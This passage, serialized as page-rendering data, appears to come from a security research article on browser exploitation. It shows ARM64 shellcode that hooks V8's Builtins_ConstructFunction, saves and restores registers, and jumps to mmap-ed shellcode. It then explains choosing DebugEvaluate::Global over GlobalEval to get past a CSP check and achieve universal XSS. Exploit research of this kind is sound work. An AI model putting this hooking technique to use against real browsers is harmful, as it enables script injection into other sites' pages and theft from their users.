INSTR_SIZE}]\n",{"type":22,"tag":101,"props":143438,"children":143439},{"class":103,"line":84458},[143440],{"type":22,"tag":101,"props":143441,"children":143442},{"emptyLinePlaceholder":15},[143443],{"type":27,"value":1581},{"type":22,"tag":101,"props":143445,"children":143446},{"class":103,"line":84471},[143447],{"type":22,"tag":101,"props":143448,"children":143449},{},[143450],{"type":27,"value":143381},{"type":22,"tag":101,"props":143452,"children":143453},{"class":103,"line":84479},[143454],{"type":22,"tag":101,"props":143455,"children":143456},{},[143457],{"type":27,"value":143458},"mov x0, x6\n",{"type":22,"tag":101,"props":143460,"children":143461},{"class":103,"line":84487},[143462],{"type":22,"tag":101,"props":143463,"children":143464},{},[143465],{"type":27,"value":143397},{"type":22,"tag":23,"props":143467,"children":143468},{},[143469,143471,143477,143479,143484,143486,143492],{"type":27,"value":143470},"In the snippet above, ",{"type":22,"tag":30,"props":143472,"children":143474},{"className":143473},[],[143475],{"type":27,"value":143476},"new_compile_instrs",{"type":27,"value":143478}," refers to the instructions written to the beginning of ",{"type":22,"tag":30,"props":143480,"children":143482},{"className":143481},[],[143483],{"type":27,"value":142975},{"type":27,"value":143485}," that invoke the ",{"type":22,"tag":30,"props":143487,"children":143489},{"className":143488},[],[143490],{"type":27,"value":143491},"uxss_sc",{"type":27,"value":143493}," mmap-ed shellcode:",{"type":22,"tag":91,"props":143495,"children":143497},{"code":143496,"language":143028,"meta":7,"className":143029,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[143498],{"type":22,"tag":30,"props":143499,"children":143500},{"__ignoreMap":7},[143501,143509,143516,143524,143532,143539,143547,143555,143562,143570,143578,143585,143593],{"type":22,"tag":101,"props":143502,"children":143503},{"class":103,"line":104},[143504],{"type":22,"tag":101,"props":143505,"children":143506},{},[143507],{"type":27,"value":143508},"bti c\n",{"type":22,"tag":101,"props":143510,"children":143511},{"class":103,"line":157},[143512],{"type":22,"tag":101,"props":143513,"children":143514},{"emptyLinePlaceholder":15},[143515],{"type":27,"value":1581},{"type":22,"tag":101,"props":143517,"children":143518},{"class":103,"line":182},[143519],{"type":22,"tag":101,"props":143520,"children":143521},{},[143522],{"type":27,"value":143523},"// store registers that will be overwritten\n",{"type":22,"tag":101,"props":143525,"children":143526},{"class":103,"line":367},[143527],{"type":22,"tag":101,"props":143528,"children":143529},{},[143530],{"type":27,"value":143531},"stp x15, lr, [sp, #-16]!\n",{"type":22,"tag":101,"props":143533,"children":143534},{"class":103,"line":398},[143535],{"type":22,"tag":101,"props":143536,"children":143537},{"emptyLinePlaceholder":15},[143538],{"type":27,"value":1581},{"type":22,"tag":101,"props":143540,"children":143541},{"class":103,"line":428},[143542],{"type":22,"tag":101,"props":143543,"children":143544},{},[143545],{"type":27,"value":143546},"// get current rip into x15\n",{"type":22,"tag":101,"props":143548,"children":143549},{"class":103,"line":997},[143550],{"type":22,"tag":101,"props":143551,"children":143552},{},[143553],{"type":27,"value":143554},"adr x15, .\n",{"type":22,"tag":101,"props":143556,"children":143557},{"class":103,"line":1032},[143558],{"type":22,"tag":101,"props":143559,"children":143560},{"emptyLinePlaceholder":15},[143561],{"type":27,"value":1581},{"type":22,"tag":101,"props":143563,"children":143564},{"class":103,"line":1063},[143565],{"type":22,"tag":101,"props":143566,"children":143567},{},[143568],{"type":27,"value":143569},"// load the uxss_sc pointer saved just above new instructions\n",{"type":22,"tag":101,"props":143571,"children":143572},{"class":103,"line":1071},[143573],{"type":22,"tag":101,"props":143574,"children":143575},{},[143576],{"type":27,"value":143577},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":22,"tag":101,"props":143579,"children":143580},{"class":103,"line":1110},[143581],{"type":22,"tag":101,"props":143582,"children":143583},{"emptyLinePlaceholder":15},[143584],{"type":27,"value":1581},{"type":22,"tag":101,"props":143586,"children":143587},{"class":103,"line":1118},[143588],{"type":22,"tag":101,"props":143589,"children":143590},{},[143591],{"type":27,"value":143592},"// jump to uxss_sc\n",{"type":22,"tag":101,"props":143594,"children":143595},{"class":103,"line":1158},[143596],{"type":22,"tag":101,"props":143597,"children":143598},{},[143599],{"type":27,"value":143600},"blr x15\n",{"type":22,"tag":23,"props":143602,"children":143603},{},[143604,143609,143611,143616],{"type":22,"tag":30,"props":143605,"children":143607},{"className":143606},[],[143608],{"type":27,"value":143491},{"type":27,"value":143610}," is the mmap-ed shellcode invoked by the patched ",{"type":22,"tag":30,"props":143612,"children":143614},{"className":143613},[],[143615],{"type":27,"value":142975},{"type":27,"value":143617}," to execute our XSS payload. Its prologue looks like this:",{"type":22,"tag":91,"props":143619,"children":143621},{"code":143620,"language":143028,"meta":7,"className":143029,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[143622],{"type":22,"tag":30,"props":143623,"children":143624},{"__ignoreMap":7},[143625,143632,143639,143647,143655,143663,143671,143679,143687,143695,143703,143711,143719,143727,143735,143743,143751,143759,143767],{"type":22,"tag":101,"props":143626,"children":143627},{"class":103,"line":104},[143628],{"type":22,"tag":101,"props":143629,"children":143630},{},[143631],{"type":27,"value":143508},{"type":22,"tag":101,"props":143633,"children":143634},{"class":103,"line":157},[143635],{"type":22,"tag":101,"props":143636,"children":143637},{"emptyLinePlaceholder":15},[143638],{"type":27,"value":1581},{"type":22,"tag":101,"props":143640,"children":143641},{"class":103,"line":182},[143642],{"type":22,"tag":101,"props":143643,"children":143644},{},[143645],{"type":27,"value":143646},"// Save full register context\n",{"type":22,"tag":101,"props":143648,"children":143649},{"class":103,"line":367},[143650],{"type":22,"tag":101,"props":143651,"children":143652},{},[143653],{"type":27,"value":143654},"stp x0, x1, [sp, #-16]!\n",{"type":22,"tag":101,"props":143656,"children":143657},{"class":103,"line":398},[143658],{"type":22,"tag":101,"props":143659,"children":143660},{},[143661],{"type":27,"value":143662},"stp x2, x3, [sp, #-16]!\n",{"type":22,"tag":101,"props":143664,"children":143665},{"class":103,"line":428},[143666],{"type":22,"tag":101,"props":143667,"children":143668},{},[143669],{"type":27,"value":143670},"stp x4, x5, [sp, #-16]!\n",{"type":22,"tag":101,"props":143672,"children":143673},{"class":103,"line":997},[143674],{"type":22,"tag":101,"props":143675,"children":143676},{},[143677],{"type":27,"value":143678},"stp x6, x7, [sp, #-16]!\n",{"type":22,"tag":101,"props":143680,"children":143681},{"class":103,"line":1032},[143682],{"type":22,"tag":101,"props":143683,"children":143684},{},[143685],{"type":27,"value":143686},"stp x8, x9, [sp, #-16]!\n",{"type":22,"tag":101,"props":143688,"children":143689},{"class":103,"line":1063},[143690],{"type":22,"tag":101,"props":143691,"children":143692},{},[143693],{"type":27,"value":143694},"stp x10, x11, [sp, #-16]!\n",{"type":22,"tag":101,"props":143696,"children":143697},{"class":103,"line":1071},[143698],{"type":22,"tag":101,"props":143699,"children":143700},{},[143701],{"type":27,"value":143702},"stp x12, x13, [sp, #-16]!\n",{"type":22,"tag":101,"props":143704,"children":143705},{"class":103,"line":1110},[143706],{"type":22,"tag":101,"props":143707,"children":143708},{},[143709],{"type":27,"value":143710},"stp x14, x15, [sp, #-16]!\n",{"type":22,"tag":101,"props":143712,"children":143713},{"class":103,"line":1118},[143714],{"type":22,"tag":101,"props":143715,"children":143716},{},[143717],{"type":27,"value":143718},"stp x16, x17, [sp, #-16]!\n",{"type":22,"tag":101,"props":143720,"children":143721},{"class":103,"line":1158},[143722],{"type":22,"tag":101,"props":143723,"children":143724},{},[143725],{"type":27,"value":143726},"stp x18, x19, [sp, #-16]!\n",{"type":22,"tag":101,"props":143728,"children":143729},{"class":103,"line":1166},[143730],{"type":22,"tag":101,"props":143731,"children":143732},{},[143733],{"type":27,"value":143734},"stp x20, x21, [sp, #-16]!\n",{"type":22,"tag":101,"props":143736,"children":143737},{"class":103,"line":1215},[143738],{"type":22,"tag":101,"props":143739,"children":143740},{},[143741],{"type":27,"value":143742},"stp x22, x23, [sp, #-16]!\n",{"type":22,"tag":101,"props":143744,"children":143745},{"class":103,"line":2425},[143746],{"type":22,"tag":101,"props":143747,"children":143748},{},[143749],{"type":27,"value":143750},"stp x24, x25, [sp, #-16]!\n",{"type":22,"tag":101,"props":143752,"children":143753},{"class":103,"line":5417},[143754],{"type":22,"tag":101,"props":143755,"children":143756},{},[143757],{"type":27,"value":143758},"stp x26, x27, [sp, #-16]!\n",{"type":22,"tag":101,"props":143760,"children":143761},{"class":103,"line":7714},[143762],{"type":22,"tag":101,"props":143763,"children":143764},{},[143765],{"type":27,"value":143766},"stp x28, x29, [sp, #-16]!\n",{"type":22,"tag":101,"props":143768,"children":143769},{"class":103,"line":7723},[143770],{"type":22,"tag":101,"props":143771,"children":143772},{},[143773],{"type":27,"value":143774},"str lr, [sp, #-16]!\n",{"type":22,"tag":23,"props":143776,"children":143777},{},[143778],{"type":27,"value":143779},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":22,"tag":23,"props":143781,"children":143782},{},[143783,143785,143790],{"type":27,"value":143784},"The epilogue restores all saved registers, restores the original instructions in ",{"type":22,"tag":30,"props":143786,"children":143788},{"className":143787},[],[143789],{"type":27,"value":142975},{"type":27,"value":143791},", and then returns execution to its beginning:",{"type":22,"tag":91,"props":143793,"children":143795},{"code":143794,"language":143028,"meta":7,"className":143029,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[143796],{"type":22,"tag":30,"props":143797,"children":143798},{"__ignoreMap":7},[143799,143807,143815,143823,143831,143839,143846,143853,143861,143868,143875,143883,143891,143899,143907,143915,143923,143931,143939,143947,143955,143963,143971,143979,143987,143995,144003,144010,144018,144026,144034,144042,144050,144057,144065,144073,144080],{"type":22,"tag":101,"props":143800,"children":143801},{"class":103,"line":104},[143802],{"type":22,"tag":101,"props":143803,"children":143804},{},[143805],{"type":27,"value":143806},"// restore original instructions of Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":143808,"children":143809},{"class":103,"line":157},[143810],{"type":22,"tag":101,"props":143811,"children":143812},{},[143813],{"type":27,"value":143814},"ldr lr, [sp], #16\n",{"type":22,"tag":101,"props":143816,"children":143817},{"class":103,"line":182},[143818],{"type":22,"tag":101,"props":143819,"children":143820},{},[143821],{"type":27,"value":143822},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":143824,"children":143825},{"class":103,"line":367},[143826],{"type":22,"tag":101,"props":143827,"children":143828},{},[143829],{"type":27,"value":143830},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":22,"tag":101,"props":143832,"children":143833},{"class":103,"line":398},[143834],{"type":22,"tag":101,"props":143835,"children":143836},{},[143837],{"type":27,"value":143838},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":22,"tag":101,"props":143840,"children":143841},{"class":103,"line":428},[143842],{"type":22,"tag":101,"props":143843,"children":143844},{"emptyLinePlaceholder":15},[143845],{"type":27,"value":1581},{"type":22,"tag":101,"props":143847,"children":143848},{"class":103,"line":997},[143849],{"type":22,"tag":101,"props":143850,"children":143851},{},[143852],{"type":27,"value":143381},{"type":22,"tag":101,"props":143854,"children":143855},{"class":103,"line":1032},[143856],{"type":22,"tag":101,"props":143857,"children":143858},{},[143859],{"type":27,"value":143860},"mov x0, lr\n",{"type":22,"tag":101,"props":143862,"children":143863},{"class":103,"line":1063},[143864],{"type":22,"tag":101,"props":143865,"children":143866},{},[143867],{"type":27,"value":143397},{"type":22,"tag":101,"props":143869,"children":143870},{"class":103,"line":1071},[143871],{"type":22,"tag":101,"props":143872,"children":143873},{"emptyLinePlaceholder":15},[143874],{"type":27,"value":1581},{"type":22,"tag":101,"props":143876,"children":143877},{"class":103,"line":1110},[143878],{"type":22,"tag":101,"props":143879,"children":143880},{},[143881],{"type":27,"value":143882},"// restore original registers\n",{"type":22,"tag":101,"props":143884,"children":143885},{"class":103,"line":1118},[143886],{"type":22,"tag":101,"props":143887,"children":143888},{},[143889],{"type":27,"value":143890},"ldp x28, x29, [sp], #16\n",{"type":22,"tag":101,"props":143892,"children":143893},{"class":103,"line":1158},[143894],{"type":22,"tag":101,"props":143895,"children":143896},{},[143897],{"type":27,"value":143898},"ldp x26, x27, [sp], #16\n",{"type":22,"tag":101,"props":143900,"children":143901},{"class":103,"line":1166},[143902],{"type":22,"tag":101,"props":143903,"children":143904},{},[143905],{"type":27,"value":143906},"ldp x24, x25, [sp], #16\n",{"type":22,"tag":101,"props":143908,"children":143909},{"class":103,"line":1215},[143910],{"type":22,"tag":101,"props":143911,"children":143912},{},[143913],{"type":27,"value":143914},"ldp x22, x23, [sp], #16\n",{"type":22,"tag":101,"props":143916,"children":143917},{"class":103,"line":2425},[143918],{"type":22,"tag":101,"props":143919,"children":143920},{},[143921],{"type":27,"value":143922},"ldp x20, x21, [sp], #16\n",{"type":22,"tag":101,"props":143924,"children":143925},{"class":103,"line":5417},[143926],{"type":22,"tag":101,"props":143927,"children":143928},{},[143929],{"type":27,"value":143930},"ldp x18, x19, [sp], #16\n",{"type":22,"tag":101,"props":143932,"children":143933},{"class":103,"line":7714},[143934],{"type":22,"tag":101,"props":143935,"children":143936},{},[143937],{"type":27,"value":143938},"ldp x16, x17, [sp], #16\n",{"type":22,"tag":101,"props":143940,"children":143941},{"class":103,"line":7723},[143942],{"type":22,"tag":101,"props":143943,"children":143944},{},[143945],{"type":27,"value":143946},"ldp x14, x15, [sp], #16\n",{"type":22,"tag":101,"props":143948,"children":143949},{"class":103,"line":7791},[143950],{"type":22,"tag":101,"props":143951,"children":143952},{},[143953],{"type":27,"value":143954},"ldp x12, x13, [sp], #16\n",{"type":22,"tag":101,"props":143956,"children":143957},{"class":103,"line":7799},[143958],{"type":22,"tag":101,"props":143959,"children":143960},{},[143961],{"type":27,"value":143962},"ldp x10, x11, [sp], #16\n",{"type":22,"tag":101,"props":143964,"children":143965},{"class":103,"line":7829},[143966],{"type":22,"tag":101,"props":143967,"children":143968},{},[143969],{"type":27,"value":143970},"ldp x8, x9, [sp], #16\n",{"type":22,"tag":101,"props":143972,"children":143973},{"class":103,"line":7837},[143974],{"type":22,"tag":101,"props":143975,"children":143976},{},[143977],{"type":27,"value":143978},"ldp x6, x7, [sp], #16\n",{"type":22,"tag":101,"props":143980,"children":143981},{"class":103,"line":7868},[143982],{"type":22,"tag":101,"props":143983,"children":143984},{},[143985],{"type":27,"value":143986},"ldp x4, x5, [sp], #16\n",{"type":22,"tag":101,"props":143988,"children":143989},{"class":103,"line":7876},[143990],{"type":22,"tag":101,"props":143991,"children":143992},{},[143993],{"type":27,"value":143994},"ldp x2, x3, [sp], #16\n",{"type":22,"tag":101,"props":143996,"children":143997},{"class":103,"line":7936},[143998],{"type":22,"tag":101,"props":143999,"children":144000},{},[144001],{"type":27,"value":144002},"ldp x0, x1, [sp], #16\n",{"type":22,"tag":101,"props":144004,"children":144005},{"class":103,"line":13054},[144006],{"type":22,"tag":101,"props":144007,"children":144008},{"emptyLinePlaceholder":15},[144009],{"type":27,"value":1581},{"type":22,"tag":101,"props":144011,"children":144012},{"class":103,"line":13072},[144013],{"type":22,"tag":101,"props":144014,"children":144015},{},[144016],{"type":27,"value":144017},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":22,"tag":101,"props":144019,"children":144020},{"class":103,"line":13117},[144021],{"type":22,"tag":101,"props":144022,"children":144023},{},[144024],{"type":27,"value":144025},"// it immediately, so we can clobber and use it as a return register.\n",{"type":22,"tag":101,"props":144027,"children":144028},{"class":103,"line":13223},[144029],{"type":22,"tag":101,"props":144030,"children":144031},{},[144032],{"type":27,"value":144033},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":22,"tag":101,"props":144035,"children":144036},{"class":103,"line":27496},[144037],{"type":22,"tag":101,"props":144038,"children":144039},{},[144040],{"type":27,"value":144041},"// where to return\n",{"type":22,"tag":101,"props":144043,"children":144044},{"class":103,"line":27531},[144045],{"type":22,"tag":101,"props":144046,"children":144047},{},[144048],{"type":27,"value":144049},"mov x4, lr\n",{"type":22,"tag":101,"props":144051,"children":144052},{"class":103,"line":27539},[144053],{"type":22,"tag":101,"props":144054,"children":144055},{"emptyLinePlaceholder":15},[144056],{"type":27,"value":1581},{"type":22,"tag":101,"props":144058,"children":144059},{"class":103,"line":27547},[144060],{"type":22,"tag":101,"props":144061,"children":144062},{},[144063],{"type":27,"value":144064},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":144066,"children":144067},{"class":103,"line":27556},[144068],{"type":22,"tag":101,"props":144069,"children":144070},{},[144071],{"type":27,"value":144072},"ldp x15, lr, [sp], #16\n",{"type":22,"tag":101,"props":144074,"children":144075},{"class":103,"line":27598},[144076],{"type":22,"tag":101,"props":144077,"children":144078},{"emptyLinePlaceholder":15},[144079],{"type":27,"value":1581},{"type":22,"tag":101,"props":144081,"children":144082},{"class":103,"line":27631},[144083],{"type":22,"tag":101,"props":144084,"children":144085},{},[144086],{"type":27,"value":144087},"ret x4\n",{"type":22,"tag":23,"props":144089,"children":144090},{},[144091,144093,144098,144100,144105,144107,144113],{"type":27,"value":144092},"At this point, we have successfully hooked ",{"type":22,"tag":30,"props":144094,"children":144096},{"className":144095},[],[144097],{"type":27,"value":142975},{"type":27,"value":144099}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":22,"tag":30,"props":144101,"children":144103},{"className":144102},[],[144104],{"type":27,"value":143491},{"type":27,"value":144106}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":22,"tag":30,"props":144108,"children":144110},{"className":144109},[],[144111],{"type":27,"value":144112},"Builtins_GlobalEval",{"type":27,"value":231},{"type":22,"tag":23,"props":144115,"children":144116},{},[144117,144122,144124,144129,144131,144136],{"type":22,"tag":30,"props":144118,"children":144120},{"className":144119},[],[144121],{"type":27,"value":144112},{"type":27,"value":144123}," takes a single ",{"type":22,"tag":30,"props":144125,"children":144127},{"className":144126},[],[144128],{"type":27,"value":51923},{"type":27,"value":144130}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":22,"tag":30,"props":144132,"children":144134},{"className":144133},[],[144135],{"type":27,"value":41544},{"type":27,"value":169},{"type":22,"tag":91,"props":144138,"children":144140},{"code":144139,"language":33111,"meta":7,"className":33109,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[144141],{"type":22,"tag":30,"props":144142,"children":144143},{"__ignoreMap":7},[144144,144157,144164,144171,144214,144236,144262],{"type":22,"tag":101,"props":144145,"children":144146},{"class":103,"line":104},[144147,144152],{"type":22,"tag":101,"props":144148,"children":144149},{"style":926},[144150],{"type":27,"value":144151},"BUILTIN",{"type":22,"tag":101,"props":144153,"children":144154},{"style":120},[144155],{"type":27,"value":144156},"(GlobalEval) {\n",{"type":22,"tag":101,"props":144158,"children":144159},{"class":103,"line":157},[144160],{"type":22,"tag":101,"props":144161,"children":144162},{"style":120},[144163],{"type":27,"value":130660},{"type":22,"tag":101,"props":144165,"children":144166},{"class":103,"line":182},[144167],{"type":22,"tag":101,"props":144168,"children":144169},{"emptyLinePlaceholder":15},[144170],{"type":27,"value":1581},{"type":22,"tag":101,"props":144172,"children":144173},{"class":103,"line":367},[144174,144179,144184,144188,144193,144197,144201,144205,144210],{"type":22,"tag":101,"props":144175,"children":144176},{"style":120},[144177],{"type":27,"value":144178}," if (!Builtins::",{"type":22,"tag":101,"props":144180,"children":144181},{"style":114},[144182],{"type":27,"value":144183},"AllowDynamicFunction",{"type":22,"tag":101,"props":144185,"children":144186},{"style":120},[144187],{"type":27,"value":980},{"type":22,"tag":101,"props":144189,"children":144190},{"style":114},[144191],{"type":27,"value":144192},"isolate",{"type":22,"tag":101,"props":144194,"children":144195},{"style":120},[144196],{"type":27,"value":758},{"type":22,"tag":101,"props":144198,"children":144199},{"style":114},[144200],{"type":27,"value":118585},{"type":22,"tag":101,"props":144202,"children":144203},{"style":120},[144204],{"type":27,"value":758},{"type":22,"tag":101,"props":144206,"children":144207},{"style":114},[144208],{"type":27,"value":144209},"target_global_proxy",{"type":22,"tag":101,"props":144211,"children":144212},{"style":120},[144213],{"type":27,"value":39190},{"type":22,"tag":101,"props":144215,"children":144216},{"class":103,"line":398},[144217,144222,144226,144231],{"type":22,"tag":101,"props":144218,"children":144219},{"style":126},[144220],{"type":27,"value":144221}," isolate",{"type":22,"tag":101,"props":144223,"children":144224},{"style":120},[144225],{"type":27,"value":17759},{"type":22,"tag":101,"props":144227,"children":144228},{"style":926},[144229],{"type":27,"value":144230},"CountUsage",{"type":22,"tag":101,"props":144232,"children":144233},{"style":120},[144234],{"type":27,"value":144235},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":22,"tag":101,"props":144237,"children":144238},{"class":103,"line":428},[144239,144243,144248,144253,144258],{"type":22,"tag":101,"props":144240,"children":144241},{"style":3595},[144242],{"type":27,"value":20986},{"type":22,"tag":101,"props":144244,"children":144245},{"style":926},[144246],{"type":27,"value":144247}," ReadOnlyRoots",{"type":22,"tag":101,"props":144249,"children":144250},{"style":120},[144251],{"type":27,"value":144252},"(isolate).",{"type":22,"tag":101,"props":144254,"children":144255},{"style":926},[144256],{"type":27,"value":144257},"undefined_value",{"type":22,"tag":101,"props":144259,"children":144260},{"style":120},[144261],{"type":27,"value":934},{"type":22,"tag":101,"props":144263,"children":144264},{"class":103,"line":997},[144265],{"type":22,"tag":101,"props":144266,"children":144267},{"style":120},[144268],{"type":27,"value":9908},{"type":22,"tag":23,"props":144270,"children":144271},{},[144272,144274,144279],{"type":27,"value":144273},"This means we would need to patch the function further to ensure it never enters this ",{"type":22,"tag":30,"props":144275,"children":144277},{"className":144276},[],[144278],{"type":27,"value":19578},{"type":27,"value":144280}," block.",{"type":22,"tag":23,"props":144282,"children":144283},{},[144284],{"type":27,"value":144285},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":22,"tag":91,"props":144287,"children":144289},{"code":144288,"language":33111,"meta":7,"className":33109,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[144290],{"type":22,"tag":30,"props":144291,"children":144292},{"__ignoreMap":7},[144293,144304,144311,144318,144325,144333,144345,144353,144370,144400,144408,144420],{"type":22,"tag":101,"props":144294,"children":144295},{"class":103,"line":104},[144296,144300],{"type":22,"tag":101,"props":144297,"children":144298},{"style":926},[144299],{"type":27,"value":144151},{"type":22,"tag":101,"props":144301,"children":144302},{"style":120},[144303],{"type":27,"value":144156},{"type":22,"tag":101,"props":144305,"children":144306},{"class":103,"line":157},[144307],{"type":22,"tag":101,"props":144308,"children":144309},{"emptyLinePlaceholder":15},[144310],{"type":27,"value":1581},{"type":22,"tag":101,"props":144312,"children":144313},{"class":103,"line":182},[144314],{"type":22,"tag":101,"props":144315,"children":144316},{"style":120},[144317],{"type":27,"value":130660},{"type":22,"tag":101,"props":144319,"children":144320},{"class":103,"line":367},[144321],{"type":22,"tag":101,"props":144322,"children":144323},{"emptyLinePlaceholder":15},[144324],{"type":27,"value":1581},{"type":22,"tag":101,"props":144326,"children":144327},{"class":103,"line":398},[144328],{"type":22,"tag":101,"props":144329,"children":144330},{"style":120},[144331],{"type":27,"value":144332}," DirectHandle\u003CJSFunction> function;\n",{"type":22,"tag":101,"props":144334,"children":144335},{"class":103,"line":428},[144336,144341],{"type":22,"tag":101,"props":144337,"children":144338},{"style":926},[144339],{"type":27,"value":144340}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":22,"tag":101,"props":144342,"children":144343},{"style":120},[144344],{"type":27,"value":1850},{"type":22,"tag":101,"props":144346,"children":144347},{"class":103,"line":997},[144348],{"type":22,"tag":101,"props":144349,"children":144350},{"style":120},[144351],{"type":27,"value":144352}," isolate, function,\n",{"type":22,"tag":101,"props":144354,"children":144355},{"class":103,"line":1032},[144356,144361,144366],{"type":22,"tag":101,"props":144357,"children":144358},{"style":120},[144359],{"type":27,"value":144360}," Compiler::",{"type":22,"tag":101,"props":144362,"children":144363},{"style":926},[144364],{"type":27,"value":144365},"GetFunctionFromValidatedString",{"type":22,"tag":101,"props":144367,"children":144368},{"style":120},[144369],{"type":27,"value":1850},{"type":22,"tag":101,"props":144371,"children":144372},{"class":103,"line":1063},[144373,144378,144382,144386,144390,144395],{"type":22,"tag":101,"props":144374,"children":144375},{"style":926},[144376],{"type":27,"value":144377}," direct_handle",{"type":22,"tag":101,"props":144379,"children":144380},{"style":120},[144381],{"type":27,"value":980},{"type":22,"tag":101,"props":144383,"children":144384},{"style":126},[144385],{"type":27,"value":118585},{"type":22,"tag":101,"props":144387,"children":144388},{"style":120},[144389],{"type":27,"value":17759},{"type":22,"tag":101,"props":144391,"children":144392},{"style":926},[144393],{"type":27,"value":144394},"native_context",{"type":22,"tag":101,"props":144396,"children":144397},{"style":120},[144398],{"type":27,"value":144399},"(), isolate), source,\n",{"type":22,"tag":101,"props":144401,"children":144402},{"class":103,"line":1071},[144403],{"type":22,"tag":101,"props":144404,"children":144405},{"style":120},[144406],{"type":27,"value":144407}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":22,"tag":101,"props":144409,"children":144410},{"class":103,"line":1110},[144411,144416],{"type":22,"tag":101,"props":144412,"children":144413},{"style":926},[144414],{"type":27,"value":144415}," RETURN_RESULT_OR_FAILURE",{"type":22,"tag":101,"props":144417,"children":144418},{"style":120},[144419],{"type":27,"value":1850},{"type":22,"tag":101,"props":144421,"children":144422},{"class":103,"line":1118},[144423,144428,144433],{"type":22,"tag":101,"props":144424,"children":144425},{"style":120},[144426],{"type":27,"value":144427}," isolate, Execution::",{"type":22,"tag":101,"props":144429,"children":144430},{"style":926},[144431],{"type":27,"value":144432},"Call",{"type":22,"tag":101,"props":144434,"children":144435},{"style":120},[144436],{"type":27,"value":144437},"(isolate, function, target_global_proxy, {}));\n",{"type":22,"tag":23,"props":144439,"children":144440},{},[144441,144443,144448,144450,144456,144458,144464,144466,144472],{"type":27,"value":144442},"But determining the correct ",{"type":22,"tag":30,"props":144444,"children":144446},{"className":144445},[],[144447],{"type":27,"value":118585},{"type":27,"value":144449}," value, obtaining ",{"type":22,"tag":30,"props":144451,"children":144453},{"className":144452},[],[144454],{"type":27,"value":144455},"target->native_context()",{"type":27,"value":144457},", and locating the ",{"type":22,"tag":30,"props":144459,"children":144461},{"className":144460},[],[144462],{"type":27,"value":144463},"direct_handle",{"type":27,"value":144465}," function, just to make a proper call to ",{"type":22,"tag":30,"props":144467,"children":144469},{"className":144468},[],[144470],{"type":27,"value":144471},"Compiler::GetFunctionFromValidatedString",{"type":27,"value":144473},", seemed unnecessarily cumbersome.",{"type":22,"tag":23,"props":144475,"children":144476},{},[144477,144479,144485],{"type":27,"value":144478},"Instead, we found a much simpler option with no security checks: ",{"type":22,"tag":30,"props":144480,"children":144482},{"className":144481},[],[144483],{"type":27,"value":144484},"DebugEvaluate::Global",{"type":27,"value":144486},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":22,"tag":23,"props":144488,"children":144489},{},[144490],{"type":27,"value":144491},"For our needs, it is straightforward to call:",{"type":22,"tag":91,"props":144493,"children":144495},{"code":144494,"language":33111,"meta":7,"className":33109,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode 